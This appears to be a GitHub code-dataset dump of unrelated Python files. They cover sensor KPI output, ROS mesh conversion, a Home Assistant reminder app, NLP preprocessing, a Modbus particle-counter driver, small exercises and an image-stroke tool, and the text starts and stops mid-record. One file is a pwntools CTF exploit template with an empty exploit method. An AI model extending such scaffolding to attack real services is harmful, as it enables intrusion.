kpi.find_outliers(df_frame, width=4024, height=3036) \n summary_df = pd.DataFrame({'frame_num': '1000-1001',\n 'total_dots' : len(no_overlay_frame.dots),\n 'center_dot_x' : no_overlay_frame.center_dot.x, 'center_dot_y' : no_overlay_frame.center_dot.y,\n 'fov_dot_x' : fov_dot_overlay.x, 'fov_dot_y' : fov_dot_overlay.y,\n 'median_dot_size' : no_overlay_med_size, 'median_dot_spacing' : no_overlay_med_dist,\n 'hor_slope' : no_overlay_hor_slope, 'ver_slope' : no_overlay_ver_slope,\n 'dxdy_spacing' : params['dxdy_spacing'], 'map_x_shift' : params['map_x_shift'],\n 'map_y_shift' : params['map_y_shift']}, index=[0])\n summary_df['num_frames'] = df_frame['num_frames']\n summary_df['num_center_dot_outlier'] = df_frame['num_center_dot_outlier']\n summary_df['num_fov_dot_outlier'] = df_frame['num_fov_dot_outlier']\n summary_df['num_slope_outlier'] = df_frame['num_slope_outlier']\n summary_df['num_total_outlier'] = df_frame['num_total_outlier']\n summary = kpi.eval_KPIs(df_frame, params, summary_df, maps_xy, maps_dxdy, no_overlay_frame.map_xy, no_overlay_frame.map_dxdy)\n else:\n middle_frame_index = kpi.find_middle_frame(df_frame, width=4024, height=3036)\n summary = kpi.eval_KPIs(df_frame, params, int(middle_frame_index), maps_xy, maps_dxdy)\n \n with open(csv_file_summary, 'w') as f: # You will need 'wb' mode in Python 2.x\n w = csv.DictWriter(f, summary.keys())\n w.writeheader()\n w.writerow(summary) \n df.to_csv(csv_file)\n df_frame.to_csv(csv_file_frame)\n \nend_time = time.monotonic()\nprint(timedelta(seconds=end_time - start_time))\n \n\n \n ","repo_name":"chuckyin/pst-algo","sub_path":"pst_algo_new_proc/pst-cli.py","file_name":"pst-cli.py","file_ext":"py","file_size_in_byte":14454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14009279486","text":"import json\nimport open3d as o3d\nimport numpy as np\nfrom geometry_msgs.msg import Point, Vector3, Pose\nfrom visualization_msgs.msg import Marker\nfrom std_msgs.msg import ColorRGBA\n\ndef save_camera_info_intrinsic_as_json(filename, camera_info_msg):\n with open(filename, 'w') as outfile:\n obj = json.dump(\n {\n 'width':\n camera_info_msg.width,\n 'height':\n camera_info_msg.height,\n 'intrinsic_matrix': [\n camera_info_msg.k[0], 0, 0, 0, camera_info_msg.k[4], 0, camera_info_msg.k[2],\n camera_info_msg.k[5], 1\n ]\n },\n outfile,\n indent=4)\n\n\ndef getIntrinsicsFromMsg(camera_info_msg):\n return o3d.camera.PinholeCameraIntrinsic(camera_info_msg.width, camera_info_msg.height, camera_info_msg.k[0], camera_info_msg.k[4], camera_info_msg.k[2], camera_info_msg.k[5])\n\n\ndef transformStampedToVectors(gm_tf_stamped):\n vec_t = gm_tf_stamped.transform.translation\n vec_q = gm_tf_stamped.transform.rotation\n translation = np.array([vec_t.x, vec_t.y, vec_t.z])\n quaternion = np.array([vec_q.w, vec_q.x, vec_q.y, vec_q.z])\n return translation, quaternion\n\n\ndef meshToRos(mesh):\n triangles = np.asarray(mesh.triangles)\n vertices = np.asarray(mesh.vertices)\n vertex_colors = np.asarray(mesh.vertex_colors)\n out_msg = Marker()\n out_msg.type = out_msg.TRIANGLE_LIST\n out_msg.action = out_msg.ADD\n out_msg.id = 1\n out_msg.scale.x = 1.0\n out_msg.scale.y = 1.0\n out_msg.scale.z = 1.0\n out_msg.pose.position.x = 0.0\n out_msg.pose.position.y = 0.0\n out_msg.pose.position.z = 0.0\n out_msg.pose.orientation.w = 1.0\n out_msg.pose.orientation.x = 0.0\n out_msg.pose.orientation.y = 0.0\n out_msg.pose.orientation.z = 0.0\n for triangle in triangles:\n for vertex_index in triangle:\n curr_point = Point()\n curr_point.x = vertices[vertex_index][0]\n curr_point.y = vertices[vertex_index][1]\n curr_point.z = vertices[vertex_index][2]\n curr_point_color = ColorRGBA()\n curr_point_color.r = vertex_colors[vertex_index][0]\n curr_point_color.g = vertex_colors[vertex_index][1]\n curr_point_color.b = vertex_colors[vertex_index][2]\n curr_point_color.a = 1.0\n out_msg.points.append(curr_point)\n out_msg.colors.append(curr_point_color)\n return out_msg\n","repo_name":"ros-industrial/industrial_reconstruction","sub_path":"industrial_reconstruction/src/industrial_reconstruction/utility/ros.py","file_name":"ros.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"61"} +{"seq_id":"5699277626","text":"# Baekjoon Online Judge - 18870번. 좌표 압축\n\nN = int(input())\n\n# 받은 입력\nnum_list = list(map(int, input().split()))\n# 중복 제거 후 정렬해서 인덱싱 처리\nnumbers = list(sorted(set(num_list)))\ndict_numbers = {}\n# 딕셔너리로 num_list의 값의 인덱스를 저장한다.\nfor i in range(len(numbers)):\n dict_numbers[numbers[i]] = i\n\n# list.index의 경우 O(N)이기 때문에, 딕셔너리로 해당 값의 인덱스를 구한다.\nfor item in num_list:\n print(dict_numbers[item], end=' ')\n","repo_name":"wnstj-yang/Algorithm","sub_path":"BOJ/BOJ_18870.py","file_name":"BOJ_18870.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14182434726","text":"import hassapi as hass\n\n\"\"\"\nclean_house is an app responsible of reminding us to charge our electric scoooter\n\nFunctionalities :\n Guess when the electric scooter is charged or not based on Valentin's location\n\nNotifications :\n Charging needed.\n\"\"\"\nclass charge_electric_scooter(hass.Hass):\n def initialize(self):\n self.listening_to_valentine_coming_back_home = False\n # Minimum Cleaning Duration. \n self.listen_state(self.callback_valentine_at_work, \"person.valentine\", new = \"BackMarket (Bordeaux)\", immediate = True)\n self.listen_state(self.callback_electric_scooter_charging, \"binary_sensor.is_electric_scooter_charging\", new = \"on\" , immediate = True)\n self.run_daily(self.callback_electric_scooter_daily_check, \"20:00:00\")\n\n \"\"\"\n Callback triggered when valentine reaches work\n Goals :\n Concider electric scooter discharged\n \"\"\" \n def callback_valentine_at_work(self, entity, attribute, old, new, kwargs):\n self.log(\"Valentine arrived at work: Considerig that her electric scooter needs charging.\")\n self.call_service(\"input_boolean/turn_on\", entity_id = \"input_boolean.electric_scooter_needs_charging\")\n\n \"\"\"\n Callback triggered when the eletrical outlet charging the scooter os powered\n Goals :\n Concider electric scooter charged\n \"\"\" \n def callback_electric_scooter_charging(self, entity, attribute, old, new, kwargs):\n self.log(\"Electric Scooter charging: Considering that it does not need charing anymore.\")\n self.call_service(\"input_boolean/turn_off\", entity_id = \"input_boolean.electric_scooter_needs_charging\")\n\n \"\"\"\n Callback triggered everyday at 8pm \n Goals :\n If valentine is at work, check if we need to send the notification\n Else: Wait until valentine reaches home\n \"\"\" \n def callback_electric_scooter_daily_check(self, kwargs):\n if self.entities.person.valentine.state == \"home\":\n self.check_electric_scooter_and_send_notification()\n else:\n if not self.listening_to_valentine_coming_back_home:\n self.listening_to_valentine_coming_back_home = True\n self.listen_state(self.callback_valentine_at_home, \"person.valentine\", new = \"home\", duratin = \"900\" , oneshot = True)\n \n \"\"\"\n Callback triggered when valentine reaches work Valentine reaches home\n Goals :\n check if we need to send the notification\n \"\"\" \n def callback_valentine_at_home(self, entity, attribute, old, new, kwargs):\n self.listening_to_valentine_coming_back_home = False\n self.check_electric_scooter_and_send_notification()\n\n \"\"\"\n Helper method:\n Does : \n . If tomorrow is a workday, and the electric scooter is discharged: Send notification\n Returns : Noting\n \"\"\"\n def check_electric_scooter_and_send_notification(self):\n if self.entities.input_boolean.electric_scooter_needs_charging.state == \"on\" and self.entities.binary_sensor.workday_tomorrow.state == \"on\":\n self.log(\"It's time to charge the electric scooter. notifying it\")\n self.fire_event(\"NOTIFIER\",\n action = \"send_to_valentine\",\n title = \"🛴 Trottinette\",\n message = \"Pense à faire charger ta trottinette pour demain !\",\n click_url = \"/lovelace/terrasse\",\n icon = \"mdi:scooter-electric\",\n color = \"deep-orange\",\n tag = \"electric_scooter\",\n until = [{\n \"entity_id\" : \"input_boolean.electric_scooter_needs_charging\",\n \"new_state\" : \"off\"}])\n\n\n\n","repo_name":"jlpouffier/appdeamon-apps","sub_path":"apps_archived/charge_electric_scooter.py","file_name":"charge_electric_scooter.py","file_ext":"py","file_size_in_byte":3651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72860272514","text":"import sys,os\nfrom dataclasses import dataclass\nimport pandas as pd\nimport numpy as np\nimport nltk\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nimport re\nimport spacy\n\nfrom src.utils import save_object\nfrom src.utils import text_preprocessing\n\nfrom src.exception import CustomException\nfrom src.autologger import logger\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n\n\n## Data Transformation config\n\n@dataclass\nclass DataTransformationconfig:\n preprocessor_x_file_path=os.path.join('artifacts','preprocessor.pkl')\n\n\n## Data Ingestionconfig class\nclass DataTransformation:\n def __init__(self):\n self.data_transformation_config=DataTransformationconfig()\n \n\n def initiate_data_transformation(self,train_path,test_path):\n try:\n # Reading train and test data\n train_df = pd.DataFrame(pd.read_excel(train_path))\n test_df = pd.DataFrame(pd.read_excel(test_path))\n\n logger.info('Read train and test data completed')\n\n logger.info('Dividing the data into x & y variable')\n ## features into independent and dependent features\n train_x = train_df['Review_Text']\n logger.info(f'Shape of train_x: {train_x.shape}')\n train_y = train_df['Recommend_Flag']\n logger.info(f'Shape of train_y: {train_y.shape}')\n\n test_x = test_df['Review_Text']\n logger.info(f'Shape of test_x: {test_x.shape}')\n test_y = test_df['Recommend_Flag']\n logger.info(f'Shape of test_y: {test_y.shape}')\n\n logger.info('Applying preprocessing on train x & test x')\n ## apply the transformation on x & y variables\n train_X = train_x.apply(lambda x: text_preprocessing(x))\n logger.info(f'Shape of train_x: {train_X.shape}')\n test_X = test_x.apply(lambda x: text_preprocessing(x))\n logger.info(f'Shape of test_x: {test_X.shape}')\n\n logger.info('Applying TF-IDF vectorization on train x & test x')\n TFIDF = TfidfVectorizer(analyzer='word',\n token_pattern=r'\\w{1,}',\n ngram_range=(1, 1),\n min_df=5,\n max_df=0.99,\n encoding='latin-1',\n lowercase = True,\n max_features=1000)\n train_x_TFIDF = TFIDF.fit_transform(train_X)\n test_x_TFIDF = TFIDF.transform(test_X)\n\n logger.info('Getting column names after vectorization')\n train_x_DTM = pd.DataFrame(train_x_TFIDF.toarray(), columns=TFIDF.get_feature_names_out())\n logger.info(f'Shape of train_x_DTM: {train_x_DTM.shape}')\n test_x_DTM = pd.DataFrame(test_x_TFIDF.toarray(), columns=TFIDF.get_feature_names_out())\n logger.info(f'Shape of test_x_DTM: {test_x_DTM.shape}')\n\n logger.info('Getting x & y variable together for train')\n train_arr = pd.concat([train_x_DTM, pd.DataFrame(train_y, columns=['Recommend_Flag'])], axis=1)\n logger.info(f'Shape of train_arr: {train_arr.shape}')\n\n logger.info('Getting x & y variable together for test')\n test_arr = pd.concat([test_x_DTM, pd.DataFrame(test_y, columns=['Recommend_Flag'])], axis=1)\n logger.info(f'Shape of test_arr: {test_arr.shape}')\n\n logger.info('Data transformation completed')\n\n\n return(\n train_arr,\n test_arr\n ) \n\n\n except Exception as e:\n logger.info(\"Exception occured in the initiate_datatransformation\")\n raise CustomException(e,sys)","repo_name":"Singhpriyanshu2907/Women_clothing_Review_Analysis","sub_path":"src/components/data_transformation.py","file_name":"data_transformation.py","file_ext":"py","file_size_in_byte":3787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43186377937","text":"import asyncio\nimport pymodbus.client as ModbusClient\nimport pymodbus.framer\nfrom datetime import datetime, timedelta\nimport logging\nfrom enum import Enum\nimport time\n\n_logger = logging.getLogger(__file__)\n_logger.setLevel(\"DEBUG\")\n\nclass SampleUnits(Enum):\n TC = 0x00 # total counts during the sample time\n CF = 0x01 # number of particles per cubic foot\n L = 0x02 # number of particles per liter\n\nclass DetectedData(dict):\n allowed_keys = ['PC0.3', 'PC0.5', 'PC0.7', 'PC1.0', 'PC2.5', 'PC5.0', 'PC10']\n\n def __init__(self, mapping=None, **kwargs):\n if mapping is not None:\n for k in mapping.keys():\n if k not in self.allowed_keys:\n raise KeyError\n for k in self.allowed_keys:\n if k not in mapping:\n mapping[k] = 0\n else:\n mapping = {k: 0 for k in self.allowed_keys}\n if kwargs:\n for k in kwargs.keys():\n if k not in self.allowed_keys:\n raise KeyError\n mapping.update(kwargs)\n super().__init__(mapping)\n \n def __setitem__(self, key, value):\n if key not in self.allowed_keys:\n raise KeyError\n super().__setitem__(key, value)\n \n def __add__(self, other):\n temp = DetectedData()\n for k in self.allowed_keys:\n temp[k] = self[k] + other[k]\n\n return temp\n\n def __eq__(self, other):\n if not isinstance(other, DetectedData):\n return NotImplemented\n for k in self.allowed_keys:\n if self[k] != other[k]:\n return False\n return True\n \n def __ne__(self, other):\n return not (self == other)\n \n def __repr__(self):\n return '{{{}}}'.format(', '.join([f\"'{k}': {self[k]}\" for k in self.allowed_keys]))\n\nclass PMD331:\n flow_rate_Lpm = 2.83 # flow rate in liters per minute\n flow_rate_cfm = 2.83 * 0.03531467 # flow rate in cubic feet per minute\n\n '''Class provides raw access to PMD331 functions'''\n def __init__(self, port):\n self.port = port\n self.client = None\n\n async def startup(self):\n '''Initialize serial connection'''\n self.client = ModbusClient.AsyncModbusSerialClient(\n self.port,\n framer=pymodbus.framer.ModbusRtuFramer,\n baudrate=115200,\n bytesize=8,\n parity='N',\n stopbits=1\n )\n # this connect call connects the application to the host's device port, not\n # the pmd331\n await self.client.connect()\n assert self.client.connected\n \n @property\n async def started(self):\n '''Has startup() been called'''\n return self.client is not None and self.client.connected\n \n async def start_detection(self):\n '''Start detection'''\n await self.client.write_register(address=0x06, value=0x01, slave=0xFE)\n\n async def stop_detection(self):\n '''Stop detection'''\n await self.client.write_register(address=0x06, value=0x00, slave=0xFE)\n\n async def read_data(self) -> DetectedData:\n '''Reports the current live reading, as displayed on the device.'''\n rr = await self.client.read_input_registers(address=0x03, count=0x0E, slave=0xFE)\n dd = DetectedData()\n dd['PC0.3'] = ((rr.registers[0] << 8) | rr.registers[1])\n dd['PC0.5'] = ((rr.registers[2] << 8) | rr.registers[3])\n dd['PC0.7'] = ((rr.registers[4] << 8) | rr.registers[5])\n dd['PC1.0'] = ((rr.registers[6] << 8) | rr.registers[7])\n dd['PC2.5'] = ((rr.registers[8] << 8) | rr.registers[9])\n dd['PC5.0'] = ((rr.registers[10] << 8) | rr.registers[11])\n dd['PC10'] = ((rr.registers[12] << 8) | rr.registers[13])\n\n return dd\n \n async def set_clock(self, t: datetime):\n await self.client.write_registers(address=0x64,\n values=[t.year & 0xffff, t.month & 0xffff, t.day & 0xffff,\n t.hour & 0xffff, t.minute & 0xffff, t.second & 0xffff],\n slave=0xFE)\n\n @property\n async def sample_units(self) -> SampleUnits:\n '''Units for reporting particle counts.\n CF: # per cubic foot\n L: # per liter\n TC: total count during the sample time'''\n rr = await self.client.read_holding_registers(address=0x04, slave=0xFE)\n return SampleUnits(rr.registers[0])\n\n async def set_sample_units(self, units: SampleUnits):\n await self.client.write_register(address=0x04, value=units.value, slave=0xFE)\n\n @property\n async def sample_time(self) -> int:\n '''The interval in seconds over which samples are averaged (CF/L) or totaled (TC).\n Valid range is 3-60s.'''\n rr = await self.client.read_holding_registers(address=0x05, slave=0xFE)\n return rr.registers[0]\n\n async def set_sample_time(self, t: int):\n if t < 3 or t > 60:\n raise ValueError(f'Sample time {t} invalid, must be in [3,60]')\n await self.client.write_register(address=0x05, value=t, slave=0xFE)\n\nclass Sample:\n '''Represents a sample'''\n def __init__(self, sample_group: int, dd: DetectedData, timestamp=datetime.now()):\n self._sample_group = sample_group\n self._dd = dd\n self._timestamp = timestamp\n \n @property\n def sample_group(self) -> int:\n return self._sample_group\n\n @property\n def timestamp(self) -> datetime:\n return self._timestamp\n \n @property\n def data(self) -> DetectedData:\n return self._dd\n\nclass Sampler:\n '''Emulate sampling interval behavior of PMD331'''\n def __init__(\n self,\n pmd331,\n sample_units: SampleUnits = SampleUnits.L,\n sample_time: int = 60,\n sync_clock: bool = False):\n self.pmd331 = pmd331\n self.sample_units = sample_units\n self.sample_time = sample_time\n self._samples = asyncio.Queue()\n self._started = False\n self._closed = False\n self._sample_task = None\n self._sync_clock = sync_clock\n\n async def __aenter__(self):\n await self.start(self._sync_clock)\n return self\n\n async def __aexit__(self, exc_type, exc_value, traceback):\n await self.end()\n\n async def start(self, sync_clock: bool = False):\n '''Note: This will break if the sample time or sample units are manually changed\n on the device while the sample is being collected.\n '''\n if self._started:\n return\n self._started = True\n\n if not await self.pmd331.started:\n await self.pmd331.startup()\n # synchronize the clock\n if sync_clock:\n await self.pmd331.set_clock(datetime.now())\n # set the sample units\n await self.pmd331.set_sample_units(SampleUnits.TC) # hard set this to TC to allow overflow handling\n # set the sample time\n await self.pmd331.set_sample_time(self.sample_time)\n # start detection\n await self.pmd331.start_detection()\n\n async def sample_task(pmd331: PMD331, units: SampleUnits, t: int):\n begin_date = datetime.now()\n begin_t = time.perf_counter()\n sample_group = 0\n\n while not self._closed:\n fast_samples = []\n t0_sample = time.perf_counter()\n sample_group = sample_group + 1\n overflowcounter = DetectedData()\n last_dd = None\n for _ in range(t):\n dd = await pmd331.read_data()\n if self._closed:\n return\n elapsed_total = time.perf_counter() - begin_t\n # for each bin, if this sample is smaller than the last sample increase the overflow\n # counter for that bin\n # then adjust the sample by the overflow counter\n # then adjust sample units to flow if desired\n if last_dd is not None:\n for k in DetectedData.allowed_keys:\n if dd[k] < last_dd[k]:\n overflowcounter[k] = overflowcounter[k] + 1\n last_dd = dd.copy()\n\n for k in DetectedData.allowed_keys:\n # adjust current record for overflow\n dd[k] = dd[k] + 2**16 * overflowcounter[k]\n if units == SampleUnits.TC:\n continue\n # adjust current record for flow rate\n rate = PMD331.flow_rate_cfm if units == SampleUnits.CF else PMD331.flow_rate_Lpm\n # convert rate to per second\n rate = rate / 60\n volume = rate * (_ + 1)\n dd[k] = int(dd[k] / volume)\n else:\n last_dd = dd.copy()\n\n _logger.debug(f' {t-_} {dd}')\n \n if _ > 0: # throw away the first sample it's always all zeroes\n fast_samples.append(Sample(sample_group, dd, begin_date + timedelta(seconds=elapsed_total)))\n\n # adjust the sleep to account for time lost by reading the data\n # and the program doing other things\n elapsed_sample = time.perf_counter() - t0_sample - _\n await asyncio.sleep(1 - elapsed_sample)\n if self._closed:\n return\n\n await self._samples.put(fast_samples)\n \n self._sample_task = asyncio.create_task(sample_task(self.pmd331, self.sample_units, self.sample_time))\n\n async def end(self):\n if not self._started or self._closed:\n return\n\n self._closed = True # signals sample_task to stop\n # wait for sample_task to finish, otherwise the writes to the serial port\n # could step on each other\n await asyncio.wait((self._sample_task, ))\n await self.pmd331.stop_detection()\n\n async def read(self) -> list[Sample]:\n '''Returns results of one sample interval, blocks if none are available\n \n Note: Only returns N-1 samples (where N is the sample time). The final sample,\n which is written to the device's log data store, is not available over the RS232\n interface. Since each entry in the array is cumulative, use the last sample in this\n set with the caveat that it's actually for an interval of N-1.\n\n example:\n s = await sampler.read()\n s[-1].data # access the data for the N-1 sample\n '''\n return await self._samples.get()\n\n","repo_name":"robwiss/pypmd331","sub_path":"pmd331.py","file_name":"pmd331.py","file_ext":"py","file_size_in_byte":10821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42658325564","text":"#int to binary\r\ndef int_binary(num):\r\n binary = bin(num)\r\n binary = binary.replace(\"0b\", \"\")\r\n print(binary)\r\n# binary to int\r\ndef binary_int(num):\r\n binary = str(num)\r\n entero = 0\r\n pot = len(binary)\r\n for i in binary:\r\n if i == '1':\r\n entero += pow(2, pot-1)\r\n pot -= 1\r\n print(entero)\r\n\r\ndef run():\r\n option = input('1: int to binary, 2: binary to int: ')\r\n if option == '1':\r\n while True:\r\n try:\r\n num = int(input('Enter a number between 0 and 255: '))\r\n if num < 0:\r\n raise ValueError\r\n if num >= 256:\r\n raise ValueError\r\n int_binary(num)\r\n print('Finish')\r\n break\r\n except ValueError:\r\n print('Enter a number between range')\r\n else:\r\n while True:\r\n try:\r\n num = int(input('ingrese un número entre el 0 y el 255: '))\r\n if num < 0:\r\n raise ValueError\r\n binary_int(num)\r\n print('Finish')\r\n break\r\n except ValueError:\r\n print('Enter a number between range')\r\n \r\n\r\nif __name__ == '__main__':\r\n run()\r\n ","repo_name":"EdwLearn/Binary","sub_path":"binario.py","file_name":"binario.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40509050594","text":"from pwn import *\nimport sys\n\n# running the server: python3.9 payload.py RMT 0.0.0.0 8080\n# running the local: python3.9 payload.py\n\ndef init():\n if args.RMT:\n log.info(f\"Connected Server {sys.argv[1]}:{sys.argv[2]}\")\n p = remote(sys.argv[1], sys.argv[2])\n else:\n log.info(\"Opened File\")\n p = process('./chall')\n\n return Exploit(p), p\n\nclass Exploit:\n def __init__(self, p: process):\n self.p = p\n\n def debug(self, script=None):\n if not args.RMT:\n if script:\n attach(self.p, script)\n else:\n attach(self.p)\n \n def enter_whats_that(self, what):\n p = self.p\n log.info(\"Send Payload Input\")\n p.sendlineafter(b\"What's that?\\n\", what)\n\n def exploit(self):\n p = self.p\n \n\n \n\n\nif __name__ == \"__main__\":\n x, p = init()\n # x.debug((\n # \"break *0x1000014a1\"\n # ))\n\n x.exploit()\n p.interactive()","repo_name":"Rizsyad/CTF-WriteUp","sub_path":"templates/pwn.py","file_name":"pwn.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"42254658778","text":"\"\"\"Exercício Python 060:\n\nMelhore o exercício 051 utilizando o while\"\"\"\n\n'''Progressão aritmétrica é apenas uma contagem usando a razão como \"pausas\".\nnão é tão dificil como parece'''\n\n# resolução Guanabara\nprint('Gerador de PA')\nprint('-='*20)\n\nprimeiro = int(input('Primeiro termo: '))\nrazao = int(input('Razão da PA: '))\n\ntermo = primeiro\ncontador = 1\n\nwhile contador <= 10:\n print('{} ➞ '.format(termo), end='')\n termo += razao\n contador += 1\nprint('FIM')\n","repo_name":"henriky-sena/Atividades_CursosEmVideo_Python","sub_path":"atividade061.py","file_name":"atividade061.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19629496553","text":"import cv2 as cv\n\ndef crop_img(im, dist_shape):\n raw_shape = im.shape\n raw_height = raw_shape[0]\n raw_weight = raw_shape[1]\n dist_height = dist_shape[0]\n dist_weight = dist_shape[1]\n assert raw_height > dist_height and raw_weight > dist_weight , \"input image shape must larger than dist\"\n\n a = int(raw_height / 2 - dist_height / 2)\n b = int(raw_height / 2 + dist_height / 2)\n c = int(raw_weight / 2 - dist_weight / 2)\n d = int(raw_weight / 2 + dist_weight / 2)\n \n cropped_im = im[a:b, c:d]\n\n return cropped_im\n\ndef _processA(imagepath='hare.jpg'):\n im = cv.imread(imagepath)\n # 先resize到256,256\n im = cv.resize(im, (256, 256))\n im = crop_img(im, (224,224))\n cv.imshow('processA', im)\n cv.waitKey(0)\n\n\ndef _processB(imagepath='hare.jpg'):\n im = cv.imread(imagepath)\n im = crop_img(im, (int(im.shape[0] * 0.875), int(im.shape[1] * 0.875)))\n im = cv.resize(im, (224,224))\n cv.imshow('processB', im)\n cv.waitKey(0)\n\nif __name__ == '__main__':\n _processA()\n _processB()","repo_name":"LeiWang1999/AICS-Course","sub_path":"Code/4.6.preprocess.python/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":133,"dataset":"github-code","pt":"61"} +{"seq_id":"39829613086","text":"\"\"\" This module implements the outline stroke feature for human in the given images\n\"\"\"\nfrom rembg import remove\nfrom typing import Any\nfrom typing import Tuple\nfrom typing import List\nfrom typing import Union\n\nimport os\nimport cv2\nimport numpy as np\n\nvisual_debug = False\n\n\ndef enable_visual_debug(enable: bool) -> None:\n \"\"\"\n This function invokes the visual debug infomration to be stored or not as image files.\n\n :param enable: It activates the visual debugging for testin purpose.\n :type enable: bool\n \"\"\"\n global visual_debug\n visual_debug = enable\n if (visual_debug is True):\n if not os.path.exists('debug'):\n os.makedirs('debug')\n\n\ndef zoom_mask(mask_img: Any, zoom_factor: float = 1.05, angle: int = 0, zoom_option: int = 1) -> Any:\n \"\"\"\n It scales the mask image to the given zoom factor as per the zoom option algorithm. This scaling\n is center focused regardles of the zoom option provided.\n\n :param mask_img: Numpy array that holds the mask image\n :type mask_img: Any\n :param zoom_factor: Scaling factor of the image. If 2 is provided, it scales the image twice,\n defaults to 1.05\n :type zoom_factor: float, optional\n :param angle: Rotating angle of the image for the zoom option 1, defaults to 0\n :type angle: int, optional\n :param zoom_option: It gives the option to select the zooming algorithm. If 1 then it is zooming\n with rotation of the image capability. If 2 then it just zooming. In both cases the zooming is\n centered around the midpoint of the image, defaults to 1\n :type zoom_option: int, optional\n :return: Returns the scaled mask image\n :rtype: Any\n \"\"\"\n height, width = mask_img.shape\n\n if (zoom_option == 1):\n centerY, centerX = [i / 2 for i in mask_img.shape[:]]\n rot_mat = cv2.getRotationMatrix2D((centerX, centerY), angle, zoom_factor)\n result = cv2.warpAffine(mask_img, rot_mat, (width, height), flags=cv2.INTER_LANCZOS4)\n\n elif (zoom_option == 2):\n centerX, centerY = int(height / 2), int(width / 2)\n radiusX, radiusY = int(zoom_factor * centerX), int(zoom_factor * centerY)\n minX, maxX = abs(centerX - radiusX), abs(centerX + radiusX)\n minY, maxY = abs(centerY - radiusY) , abs(centerY + radiusY)\n\n cropped = mask_img[minX:maxX, minY:maxY]\n result = cv2.resize(cropped, (width, height))\n\n else:\n rot_mat = cv2.getRotationMatrix2D((centerX, centerY), angle, zoom_factor)\n result = cv2.warpAffine(mask_img, rot_mat, (height, width), flags=cv2.INTER_LANCZOS4)\n\n return result\n\n\ndef overlay_img(base_img: Any, overlay_img: Any, mask: Any) -> Any:\n \"\"\"\n It merges the background and the forground based on the orignal, colored and mask image.\n\n :param base_img: This image is the original image to be processed\n :type base_img: Any\n :param overlay_img: This is the generated image based on the stroke color\n :type overlay_img: Any\n :param mask: This image is the mask image that holds the stroke area\n :type mask: Any\n :return: It returns the merged image\n :rtype: Any\n \"\"\"\n global visual_debug\n\n fg_img = cv2.bitwise_or(overlay_img, overlay_img, mask=mask)\n\n mask_inv = cv2.bitwise_not(mask)\n bg_img = cv2.bitwise_or(base_img, base_img, mask=mask_inv)\n\n overlaid_img = cv2.bitwise_or(fg_img, bg_img)\n\n if (visual_debug is True):\n cv2.imwrite(os.path.join('debug', 'd004_01_foreground_image_mask.png'), mask)\n cv2.imwrite(os.path.join('debug', 'd004_02_foreground_image.png'), fg_img)\n cv2.imwrite(os.path.join('debug', 'd004_03_background_image_mask.png'), mask_inv)\n cv2.imwrite(os.path.join('debug', 'd004_04_background_image.png'), bg_img)\n\n return overlaid_img\n\n\ndef overlay_img_with_bg(base_img: Any, bg_img: Any, stroke_color_img: Any, base_mask: Any, bg_inv_mask: Any,\n stroke_mask: Any) -> Any:\n \"\"\"\n It merges the background and the forground based on the orignal, backgound, colored and mask images.\n\n :param base_img: This image that holds the human in it.\n :type base_img: Any\n :param bg_img: It is the image that holds the scenic background.\n :type bg_img: Any\n :param stroke_color_img: This is the colored image based on stroke color.\n :type stroke_color_img: Any\n :param base_mask: This is the mask image which is the segmented version of human without scaling\n :type base_mask: Any\n :param bg_inv_mask: This is the mask image which is the segmented version of human with scaling\n :type bg_inv_mask: Any\n :param stroke_mask: it is the mask of the stroke area\n :type stroke_mask: Any\n :return: It returns the final image that has both stroked human with background\n :rtype: Any\n \"\"\"\n global visual_debug\n\n stroke_img = cv2.bitwise_or(stroke_color_img, stroke_color_img, mask=stroke_mask)\n human_img = cv2.bitwise_or(base_img, base_img, mask=base_mask)\n stroke_human_img = cv2.bitwise_or(human_img, stroke_img)\n\n bg_mask = cv2.bitwise_not(bg_inv_mask)\n bg_img_filtered = cv2.bitwise_or(bg_img, bg_img, mask=bg_mask)\n\n overlaid_img = cv2.bitwise_or(stroke_human_img, bg_img_filtered)\n\n if (visual_debug is True):\n cv2.imwrite(os.path.join('debug', 'd004_01_foreground_stroke_image.png'), stroke_img)\n cv2.imwrite(os.path.join('debug', 'd004_02_foreground_human_image.png'), human_img)\n cv2.imwrite(os.path.join('debug', 'd004_03_background_stroke_human_image.png'), stroke_human_img)\n cv2.imwrite(os.path.join('debug', 'd004_04_background_image.png'), bg_img)\n cv2.imwrite(os.path.join('debug', 'd004_04_background_image_mask.png'), bg_mask)\n cv2.imwrite(os.path.join('debug', 'd004_04_background_filtered_image.png'), bg_img_filtered)\n\n return overlaid_img\n\n\ndef add_img_stroke(model_session: Any, in_file_path: str, out_file_path: str,\n color: Union[List[int], Tuple[int, int, int]],\n zooming_factor: float) -> None:\n \"\"\"\n This utility function implements the outline stroking feature for any human in the given\n image.\n\n :param model_session: The session that holds what unet2 familiy of the model to be used\n :type model_session: Any\n :param in_file_path: It is the input path of the file to be processed\n :type in_file_path: str\n :param out_file_path: It is the ouput path where the merged image has to be placed\n :type out_file_path: str\n :param color: This color indicated the color of the stroke area\n :type color: Union[List[int], Tuple[int, int, int]]\n :param zooming_factor: It is the scaling factor to determing the outline stroke thickness.\n Always use the value between 1.01 to 1.09\n :type zooming_factor: float\n \"\"\"\n global visual_debug\n\n 